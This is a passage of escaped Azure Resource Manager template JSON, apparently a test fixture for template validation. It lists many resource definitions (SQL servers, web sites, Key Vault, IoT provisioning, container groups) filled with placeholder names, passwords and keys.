\"resources\": [\n        {\n          \"type\": \"queues\",\n          \"apiVersion\": \"2015-08-01\",\n          \"name\": \"234\",\n          \"location\": \"Canada Central\",\n          \"properties\": {},\n          \"resources\": [\n            {\n              \"type\": \"authorizationRules\",\n              \"apiVersion\": \"2015-08-01\",\n              \"location\": \"West US\",\n              \"name\": \"jlk\",\n              \"properties\": {\n                \"rights\": [\n                  \"Listen\"\n                ]\n              }\n            }\n          ]\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.ServiceBus/namespaces/topics/subscriptions\",\n      \"apiVersion\": \"2015-08-01\",\n      \"name\": \"123\",\n      \"location\": \"Central US\",\n      \"properties\": {\n        \"requiresSession\": true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"apiVersion\": \"2016-09-01\",\n      \"name\": \"[parameters('a')]\",\n      \"properties\": {\n        \"template\": {},\n        \"parameters\": {},\n        \"mode\": \"Complete\"\n      }\n    },\n    {\n      \"apiVersion\": \"2016-09-01\",\n      \"name\": \"nestedTemplate\",\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"template\": {\n          \"$schema\": \"http://ryanstorage.blob.core.windows.net/fwlink/schemas/2015-01-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {},\n          \"resources\": [],\n          \"variables\": {},\n          \"outputs\": {\n            \"result\": {\n              \"value\": \"Hello World\",\n              \"type\": \"string\"\n            }\n          }\n        }\n      }\n    },\n    {\n      \"apiVersion\": \"2017-05-10\",\n      \"name\": \"nestedTemplate\",\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"subscriptionId\": \"aa\",\n      \"resourceGroup\": \"myRG\",\n      \"copy\": {\n        \"name\": \"copy1\",\n        \"count\": 12,\n        \"mode\": \"Serial\",\n        \"batchSize\": \"[parameters('batchSize')]\"\n      },\n      \"condition\": true,\n      \"properties\": {\n        \"mode\": \"Incremental\",\n        \"template\": {\n          \"$schema\": \"http://ryanstorage.blob.core.windows.net/fwlink/schemas/2015-01-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {},\n          \"resources\": [],\n          \"variables\": {},\n          \"outputs\": {\n            \"result\": {\n              \"value\": \"Hello World\",\n              \"type\": \"string\"\n            }\n          }\n        }\n      }\n    },\n    {\n      \"name\": \"deploymentsSample\",\n      \"apiVersion\": \"2016-09-01\",\n      \"type\": \"Microsoft.Resources/deployments\",\n      \"mode\": \"Incremental\",\n      \"properties\": {\n        \"mode\": \"Incremental\"\n      }\n    },\n    {\n      \"apiVersion\": \"2018-05-01\",\n      \"name\": \"resourceGroupsSample\",\n      \"type\": \"Microsoft.Network/dnsZones\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"level\": \"\",\n        \"ResourceGroupProperties\": {}\n      }\n    },\n    {\n      \"apiVersion\": \"2016-09-01\",\n      \"name\": \"validLock\",\n      \"type\": \"Microsoft.ServiceFabric/clusters\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"managementEndpoint\": \"\",\n        \"nodeTypes\": [],\n        \"level\": \"CanNotDelete\",\n        \"notes\": \"test note\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.ApiManagement/service\",\n      \"name\": \"myservice\",\n      \"apiVersion\": \"2016-07-07\",\n      \"location\": \"Canada East\",\n      \"sku\": {\n        \"name\": \"Standard\",\n        \"capacity\": 1\n      },\n      \"properties\": {\n        \"publisherName\": \"admin@live.com\",\n        \"publisherEmail\": \"abc\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.AnalysisServices/servers\",\n      \"apiVersion\": \"2016-05-16\",\n      \"name\": \"myservers\",\n      \"location\": \"West US\",\n      \"sku\": {\n        \"name\": \"S1\"\n      },\n      \"properties\": {\n        \"asAdministrators\": {\n          \"members\": [\n            \"abc\"\n          ]\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.ServiceFabric/clusters\",\n      \"apiVersion\": \"2016-09-01\",\n      \"name\": \"Microsoft.ServiceFabric/clusters\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"nodeTypes\": [\n          {\n            \"vmInstanceCount\": 12,\n            \"name\": \"name\",\n            \"clientConnectionEndpointPort\": 443,\n            \"httpGatewayEndpointPort\": 443,\n            \"isPrimary\": true\n          }\n        ],\n        \"managementEndpoint\": \"https://abc.com\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.MachineLearning/webServices\",\n      \"apiVersion\": \"2016-05-01-preview\",\n      \"name\": \"myservice\",\n      \"location\": \"East Asia\",\n      \"properties\": {\n        \"packageType\": \"Graph\",\n        \"title\": \"abc\",\n        \"package\": {\n          \"nodes\": {\n            \"prop1\": {\n              \"assetId\": \"123\"\n            }\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Search/searchServices\",\n      \"apiVersion\": \"2015-08-19\",\n      \"location\": \"Central US\",\n      \"sku\": {\n        \"name\": \"standard\"\n      },\n      \"name\": \"abc\",\n      \"properties\": {\n        \"hostingMode\": \"highDensity\",\n        \"replicaCount\": 10,\n        \"partitionCount\": 12,\n        \"location\": \"West US\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.ContainerRegistry/registries\",\n      \"apiVersion\": \"2016-06-27-preview\",\n      \"name\": \"name\",\n      \"location\": \"Canada East\",\n      \"properties\": {\n        \"storageAccount\": {\n          \"name\": \"abc\",\n          \"accessKey\": \"key\"\n        },\n        \"adminUserEnabled\": true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/trafficManagerProfiles\",\n      \"apiVersion\": \"2017-03-01\",\n      \"name\": \"profile1\",\n      \"location\": \"global\",\n      \"properties\": {\n        \"profileStatus\": \"Enabled\",\n        \"trafficRoutingMethod\": \"Geographic\",\n        \"dnsConfig\": {\n          \"relativeName\": \"name1\",\n          \"ttl\": 120\n        },\n        \"monitorConfig\": {\n          \"protocol\": \"HTTPS\",\n          \"port\": 443,\n          \"path\": \"/healthprobe\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Insights/actionGroups\",\n      \"apiVersion\": \"2017-03-01-preview\",\n      \"name\": \"ag1\",\n      \"location\": \"UK West\",\n      \"properties\": {\n        \"enabled\": true,\n        \"groupShortName\": \"name1\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2014-04-01\",\n      \"name\": \"server1\",\n      \"location\": \"Japan West\",\n      \"properties\": {\n        \"administratorLogin\": \"aaa\",\n        \"administratorLoginPassword\": \"password\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"administrators\",\n          \"apiVersion\": \"2014-04-01\",\n          \"name\": \"activeDirectory\",\n          \"properties\": {\n            \"administratorType\": \"ActiveDirectory\",\n            \"login\": \"myuser\",\n            \"sid\": \"00000000-1111-2222-3333-444444444444\",\n            \"tenantId\": \"00000000-1111-2222-3333-444444444444\"\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2014-04-01\",\n      \"name\": \"server1\",\n      \"location\": \"Japan West\",\n      \"properties\": {\n        \"administratorLogin\": \"aaa\",\n        \"administratorLoginPassword\": \"password\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"databases\",\n          \"apiVersion\": \"2014-04-01\",\n          \"name\": \"admin1\",\n          \"location\": \"west us\",\n          \"properties\": {}\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2015-05-01-preview\",\n      \"name\": \"sql\",\n      \"location\": \"west us\",\n      \"properties\": {\n        \"administratorLogin\": \"mylogin\",\n        \"administratorLoginPassword\": \"mypa$$w0rd\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/routeTables\",\n      \"apiVersion\": \"2017-03-01\",\n      \"name\": \"table\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"routes\": [\n          {\n            \"name\": \"name1\",\n            \"properties\": {\n              \"addressPrefix\": \"aaa\",\n              \"nextHopType\": \"Internet\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"apiVersion\": \"2016-06-01\",\n      \"name\": \"ip1\",\n      \"location\": \"Brazil South\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Solutions/appliances\",\n      \"name\": \"[parameters('dnsLabelPrefix')]\",\n      \"apiVersion\": \"2016-09-01-preview\",\n      \"kind\": \"ServiceCatalog\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"applianceDefinitionId\": \"/subscriptions/d05f4e58-b80d-4ebd-a6d7-c9cac216cd39/resourceGroups/EuapAppDefs/providers/Microsoft.Solutions/applianceDefinitions/SinlgeVMBuildDemo\",\n        \"managedResourceGroupId\": \"[concat('/subscriptions/', subscription().subscriptionId, '/resourceGroups/', resourceGroup().name, parameters('dnsLabelPrefix'), '-', uniqueString(concat(resourceGroup().name, parameters('dnsLabelPrefix'))))]\",\n        \"parameters\": {\n          \"adminUsername\": {\n            \"value\": \"[parameters('adminUsername')]\"\n          },\n          \"adminPassword\": {\n            \"value\": \"[parameters('adminPassword')]\"\n          },\n          \"dnsLabelPrefix\": {\n            \"value\": \"[parameters('dnsLabelPrefix')]\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Solutions/applianceDefinitions\",\n      \"name\": \"[parameters('dnsLabelPrefix')]\",\n      \"apiVersion\": \"2016-09-01-preview\",\n      \"location\": \"eastus2euap\",\n      \"properties\": {\n        \"lockLevel\": \"None\",\n        \"displayName\": \"NirajGSingleVMBuildDemo\",\n        \"description\": \"NirajGSingleVMBuildDemo\",\n        \"authorizations\": [\n          {\n            \"principalId\": \"05250873-b7a8-4392-b112-cf3c65d72ee1\",\n            \"roleDefinitionId\": \"8e3af657-a8ff-443c-a75c-2fe8c4bcb635\"\n          }\n        ],\n        \"packageFileUri\": \"https://nirajgappliancepackages.blob.core.windows.net/singlestorageaccount/windowsManagedApp.zip\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/trafficManagerProfiles\",\n      \"apiVersion\": \"2017-05-01\",\n      \"location\": \"global\",\n      \"name\": \"abc\",\n      \"properties\": {\n        \"trafficRoutingMethod\": \"Geographic\",\n        \"dnsConfig\": {\n          \"relativeName\": \"name\",\n          \"ttl\": 123\n        },\n        \"monitorConfig\": {\n          \"protocol\": \"HTTPS\",\n          \"port\": 443\n        }\n      }\n    },\n    {\n      \"apiVersion\": \"2016-08-01\",\n      \"name\": \"validSite\",\n      \"type\": \"Microsoft.Web/sites\",\n      \"properties\": {\n        \"enabled\": true,\n        \"reserved\": false,\n        \"siteConfig\": {\n          \"phpVersion\": \"v5.6\",\n          \"httpLoggingEnabled\": true,\n          \"appSettings\": [\n            {\n              \"name\": \"appSetting1\",\n              \"vallue\": \"appSettingValue1\"\n            },\n            {\n              \"name\": \"appSetting2\",\n              \"vallue\": \"appSettingValue2\"\n            }\n          ],\n          \"connectionStrings\": [\n            {\n              \"name\": \"connectionStringName1\",\n              \"type\": \"MySql\",\n              \"connectionString\": \"connectionString1\"\n            },\n            {\n              \"name\": \"connectionStringName2\",\n              \"type\": \"SQLAzure\",\n              \"connectionString\": \"connectionString2\"\n            }\n          ]\n        },\n        \"hostNameSslStates\": [\n          {\n            \"name\": \"validSite.azurewebsites.net\",\n            \"sslState\": \"SniEnabled\",\n            \"hostType\": \"Standard\"\n          },\n          {\n            \"name\": \"validSite.scm.azurewebsites.net\",\n            \"sslState\": \"SniEnabled\",\n            \"hostType\": \"Repository\"\n          }\n        ],\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/aseName1\"\n        },\n        \"serverFarmId\": \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/serverfarms/serverFarm1\",\n        \"keyVaultId\": \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.KeyVault/vaults/vaultName1\",\n        \"keyVaultSecretName\": \"secret1\",\n        \"password\": \"0050159BAA314687BC64-BFFDFB066F4E\",\n        \"cerBlob\": \"SDSD@%#^#$SDSDS\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"config\",\n          \"apiVersion\": \"2016-08-01\",\n          \"name\": \"appsettings\",\n          \"properties\": {\n            \"setting1\": \"value1\"\n          }\n        },\n        {\n          \"type\": \"config\",\n          \"apiVersion\": \"2016-08-01\",\n          \"name\": \"connectionstrings\",\n          \"properties\": {\n            \"setting1\": {\n              \"type\": \"SQLServer\",\n              \"value\": \"Connection string value\"\n            }\n          }\n        },\n        {\n          \"apiVersion\": \"2016-08-01\",\n          \"type\": \"slots\",\n          \"name\": \"staging\",\n          \"properties\": {\n            \"phpVersion\": \"v5.6\",\n            \"httpLoggingEnabled\": true\n          },\n          \"resources\": [\n            {\n              \"type\": \"config\",\n              \"apiVersion\": \"2016-08-01\",\n              \"name\": \"appsettings\",\n              \"properties\": {\n                \"setting1\": \"value1\"\n              }\n            },\n            {\n              \"apiVersion\": \"2016-08-01\",\n              \"type\": \"config\",\n              \"name\": \"connectionstrings\",\n              \"properties\": {\n                \"connectionName\": {\n                  \"type\": \"NotificationHub\",\n                  \"value\": \"Connection string value\"\n                }\n              }\n            }\n          ]\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2016-08-01\",\n      \"name\": \"site1\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"enabled\": true,\n        \"serverFarmId\": \"id\",\n        \"hostNameSslStates\": [\n          {\n            \"name\": \"s1\",\n            \"sslState\": \"Disabled\"\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/connections\",\n      \"apiVersion\": \"2016-06-01\",\n      \"name\": \"connection\",\n      \"location\": \"West US\",\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Web/sites/config\",\n      \"apiVersion\": \"2016-08-01\",\n      \"name\": \"a1/web\",\n      \"location\": \"Japan West\",\n      \"properties\": {\n        \"numberOfWorkers\": 1,\n        \"netFrameworkVersion\": \"v4.6\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.ApiManagement/service\",\n      \"name\": \"name\",\n      \"apiVersion\": \"2017-03-01\",\n      \"location\": \"East US\",\n      \"sku\": {\n        \"name\": \"Developer\"\n      },\n      \"properties\": {\n        \"publisherEmail\": \"admin@live.com\",\n        \"publisherName\": \"org\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.EventHub/namespaces\",\n      \"apiVersion\": \"2017-04-01\",\n      \"name\": \"namename\",\n      \"location\": \"west us\",\n      \"properties\": {\n        \"createdAt\": \"2015-01-01\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/customApis\",\n      \"apiVersion\": \"2016-06-01\",\n      \"name\": \"abc\",\n      \"location\": \"West US 2\",\n      \"properties\": {\n        \"displayName\": \"name1\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2017-06-01\",\n      \"name\": \"name1\",\n      \"location\": \"West US 2\",\n      \"sku\": {\n        \"name\": \"Standard_GRS\"\n      },\n      \"kind\": \"BlobStorage\"\n    },\n    {\n      \"type\": \"Microsoft.Compute/disks\",\n      \"apiVersion\": \"2017-03-30\",\n      \"name\": \"disk1\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"creationData\": {\n          \"createOption\": \"Empty\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/galleries\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"myGallery\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"description\": \"Sample gallery description.\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/galleries/images\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"myGalleryImage\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"osType\": \"Linux\",\n        \"osState\": \"Generalized\",\n        \"identifier\": {\n          \"publisher\": \"samplePublisher\",\n          \"offer\": \"sampleOffer\",\n          \"sku\": \"sampleSku\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/galleries/images/versions\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"myGalleryImageVersion\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"publishingProfile\": {\n          \"source\": {\n            \"managedImage\": {\n              \"id\": \"/subscriptions/64646596-7b0f-4f89-86a8-01473e7a1e39/resourceGroups/rgName/providers/Microsoft.Compute/images/imageName\"\n            }\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/galleries\",\n      \"apiVersion\": \"2019-03-01\",\n      \"name\": \"myGallery\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"description\": \"Sample gallery description.\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/galleries/images\",\n      \"apiVersion\": \"2019-03-01\",\n      \"name\": \"myGalleryImage\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"osType\": \"Linux\",\n        \"osState\": \"Generalized\",\n        \"identifier\": {\n          \"publisher\": \"samplePublisher\",\n          \"offer\": \"sampleOffer\",\n          \"sku\": \"sampleSku\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/galleries/images/versions\",\n      \"apiVersion\": \"2019-03-01\",\n      \"name\": \"myGalleryImageVersion\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"publishingProfile\": {\n          \"source\": {\n            \"managedImage\": {\n              \"id\": \"/subscriptions/64646596-7b0f-4f89-86a8-01473e7a1e39/resourceGroups/rgName/providers/Microsoft.Compute/images/imageName\"\n            }\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.ServiceFabric/clusters\",\n      \"apiVersion\": \"2017-07-01-preview\",\n      \"name\": \"name1\",\n      \"location\": \"west us\",\n      \"properties\": {\n        \"managementEndpoint\": \"[concat('http://',reference(concat(variables('lbIPName'),'-','0')).dnsSettings.fqdn,':',variables('nt0fabricHttpGatewayPort'))]\",\n        \"nodeTypes\": [\n          {\n            \"name\": \"[variables('vmNodeType0Name')]\",\n            \"clientConnectionEndpointPort\": \"[variables('nt0fabricTcpGatewayPort')]\",\n            \"httpGatewayEndpointPort\": \"[variables('nt0fabricHttpGatewayPort')]\",\n            \"isPrimary\": true,\n            \"vmInstanceCount\": \"[parameters('nt0InstanceCount')]\"\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.StreamAnalytics/streamingjobs\",\n      \"apiVersion\": \"2016-03-01\",\n      \"location\": \"west us\",\n      \"name\": \"abc\",\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.ServiceFabric/clusters\",\n      \"apiVersion\": \"2017-07-01-preview\",\n      \"location\": \"west us\",\n      \"name\": \"na\",\n      \"properties\": {\n        \"nodeTypes\": [],\n        \"managementEndpoint\": \"11\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.StreamAnalytics/streamingjobs\",\n      \"apiVersion\": \"2016-03-01\",\n      \"location\": \"west us\",\n      \"name\": \"nam31\",\n      \"properties\": {\n        \"outputStartMode\": \"JobStartTime\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.MachineLearningExperimentation/accounts\",\n      \"name\": \"[parameters('newAccountName')]\",\n      \"apiVersion\": \"2017-05-01-preview\",\n      \"location\": \"East US 2\",\n      \"properties\": {\n        \"keyVaultId\": \"keyVaultId\",\n        \"vsoAccountId\": \"vsoAccountId\",\n        \"storageAccount\": {\n          \"storageAccountId\": \"userstoragearmId\",\n          \"accessKey\": \"accessKey\"\n        }\n      }\n    },\n    {\n      \"apiVersion\": \"2016-11-01\",\n      \"type\": \"Microsoft.ImportExport/jobs\",\n      \"name\": \"[variables('importExportJobName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"storageAccountId\": \"[parameters('storageAccountId')]\",\n        \"jobType\": \"abc\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.TimeSeriesInsights/environments\",\n      \"apiVersion\": \"2017-11-15\",\n      \"location\": \"West Us\",\n      \"name\": \"EnvironmentTest\",\n      \"sku\": {\n        \"name\": \"S1\",\n        \"capacity\": 5\n      },\n      \"properties\": {\n        \"dataRetentionTime\": \"P31D\"\n      }\n    },\n    {\n      \"name\": \"test1\",\n      \"type\": \"Microsoft.Devices/provisioningServices\",\n      \"apiVersion\": \"2017-08-21-preview\",\n      \"location\": \"West US\",\n      \"sku\": {\n        \"name\": \"S1\",\n        \"tier\": \"standard\",\n        \"capacity\": 1\n      },\n      \"properties\": {\n        \"authorizationPolicies\": [\n          {\n            \"keyName\": \"testkey\",\n            \"primaryKey\": \"CQN2K33r45/0WeIjpqmErV5EIvX8JZrozt3NEHCEkG8=\",\n            \"secondaryKey\": \"RpkT42rNZl4/J08pI8tnsE2mPbsbuQ//+9x3HSs0XcU=\",\n            \"rights\": \"ServiceConfig\"\n          }\n        ],\n        \"iotHubs\": [\n          {\n            \"name\": \"test.azure-devices.net\",\n            \"connectionString\": \"#####################################\",\n            \"location\": \"westus\"\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Relay/namespaces\",\n      \"apiVersion\": \"2017-04-01\",\n      \"location\": \"West Us\",\n      \"name\": \"NamespaceTest\",\n      \"sku\": {\n        \"name\": \"Standard\",\n        \"tier\": \"Standard\"\n      },\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.ServiceBus/namespaces\",\n      \"apiVersion\": \"2017-04-01\",\n      \"location\": \"West Us\",\n      \"name\": \"aa1234\",\n      \"sku\": {\n        \"name\": \"Basic\",\n        \"tier\": \"Basic\"\n      },\n      \"properties\": {}\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/loadBalancers\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"loadBalancerFrontEnd1\",\n            \"properties\": {\n              \"publicIPAddress\": {\n                \"id\": \"[variables('publicIPAddressID1')]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/loadBalancers\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"loadBalancerFrontEnd1\",\n            \"properties\": {\n              \"publicIPAddress\": {\n                \"id\": \"[variables('publicIPAddressID1')]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Cache/Redis\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"Standard\",\n          \"family\": \"C\",\n          \"capacity\": 123\n        },\n        \"additionalProperties\": {}\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"loadBalancerFrontEnd1\",\n            \"properties\": {\n              \"publicIPAddress\": {\n                \"id\": \"[variables('publicIPAddressID1')]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"addtionalProperties\": {}\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"addtionalProperties\": {}\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"addtionalProperties\": {}\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/routeTables\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"addtionalProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2017-10-01\",\n      \"location\": \"West Us\",\n      \"name\": \"sto725\",\n      \"kind\": \"StorageV2\",\n      \"sku\": {\n        \"name\": \"Standard_GRS\"\n      },\n      \"properties\": {\n        \"supportsHttpsTrafficOnly\": true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/dnsZones\",\n      \"name\": \"[parameters('newZoneName')]\",\n      \"apiVersion\": \"2017-09-01\",\n      \"location\": \"global\",\n      \"properties\": {\n        \"addtionalProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/dnsZones/TXT\",\n      \"name\": \"[concat(parameters('newZoneName'), concat('/', parameters('newRecordName')))]\",\n      \"apiVersion\": \"2017-09-01\",\n      \"location\": \"global\",\n      \"properties\": {\n        \"TTL\": 3600,\n        \"TXTRecords\": [\n          {\n            \"value\": [\n              \"test\",\n              \"abc\"\n            ]\n          },\n          {\n            \"value\": [\n              \"123\"\n            ]\n          }\n        ]\n      },\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/dnsZones/', parameters('newZoneName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"name\": \"[parameters('keyvaultSettings').keyVaultName]\",\n      \"apiVersion\": \"2016-10-01\",\n      \"location\": \"[parameters('keyvaultSettings').location]\",\n      \"properties\": {\n        \"enabledForDeployment\": true,\n        \"enabledForTemplateDeployment\": true,\n        \"enabledForVolumeEncryption\": false,\n        \"tenantId\": \"[parameters('keyvaultSettings').tenantId]\",\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[parameters('keyvaultSettings').tenantId]\",\n            \"objectId\": \"[parameters('keyvaultSettings').objectId]\",\n            \"permissions\": {\n              \"keys\": [\n                \"get\"\n              ],\n              \"secrets\": [\n                \"get\"\n              ]\n            }\n          }\n        ],\n        \"sku\": {\n          \"name\": \"[parameters('keyvaultSettings').vaultSku]\",\n          \"family\": \"A\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n      \"name\": \"[parameters('keyvaultSecrets').keyVaultName]\",\n      \"apiVersion\": \"2016-10-01\",\n      \"location\": \"[parameters('keyvaultSecrets').location]\",\n      \"properties\": {\n        \"enabledForDeployment\": true,\n        \"enabledForTemplateDeployment\": true,\n        \"enabledForVolumeEncryption\": false,\n        \"tenantId\": \"[parameters('keyvaultSecrets').tenantId]\",\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[parameters('keyvaultSecrets').tenantId]\",\n            \"objectId\": \"[parameters('keyvaultSecrets').objectId]\",\n            \"permissions\": {\n              \"keys\": [\n                \"get\"\n              ],\n              \"secrets\": [\n                \"get\"\n              ]\n            }\n          }\n        ],\n        \"sku\": {\n          \"name\": \"[parameters('keyvaultSecrets').vaultSku]\",\n          \"family\": \"A\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"name\": \"accessPolicies\",\n      \"apiVersion\": \"2016-10-01\",\n      \"location\": \"[parameters('keyvaultSettings').location]\",\n      \"properties\": {\n        \"accessPolicies\": [\n          {\n            \"permissions\": {\n              \"keys\": \"[parameters('b')]\",\n              \"secrets\": \"[parameters('c')]\"\n            },\n            \"objectId\": \"[parameters('d')]\",\n            \"tenantId\": \"[parameters('e')]\"\n          }\n        ],\n        \"sku\": {\n          \"family\": \"[parameters('f')]\",\n          \"name\": \"[parameters('g')]\"\n        },\n        \"tenantId\": \"[parameters('h')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Logic/workflows\",\n      \"apiVersion\": \"2016-10-01\",\n      \"name\": \"name\",\n      \"location\": \"west us\",\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Logic/workflows\",\n      \"apiVersion\": \"2017-07-01\",\n      \"name\": \"name\",\n      \"location\": \"west us\",\n      \"properties\": {}\n    },\n    {\n      \"name\": \"mycontainergroup\",\n      \"type\": \"Microsoft.ContainerInstance/containerGroups\",\n      \"apiVersion\": \"2018-04-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [],\n      \"properties\": {\n        \"containers\": [\n          {\n            \"name\": \"nginx\",\n            \"properties\": {\n              \"command\": [],\n              \"image\": \"nginx\",\n              \"ports\": [\n                {\n                  \"port\": 80\n                }\n              ],\n              \"resources\": {\n                \"requests\": {\n                  \"cpu\": 2,\n                  \"memoryInGB\": 8\n                }\n              },\n              \"volumeMounts\": [\n                {\n                  \"name\": \"secret\",\n                  \"mountPath\": \"/mnt/secrets\",\n                  \"readOnly\": false\n                }\n              ]\n            }\n          }\n        ],\n        \"osType\": \"Linux\",\n        \"ipAddress\": {\n          \"type\": \"Public\",\n          \"dnsNameLabel\": \"demonginx\",\n          \"ports\": [\n            {\n              \"protocol\": \"TCP\",\n              \"port\": 80\n            }\n          ]\n        },\n        \"volumes\": [\n          {\n            \"name\": \"secret\",\n            \"secret\": {\n              \"sslcertificateData\": \"certificate-data\",\n              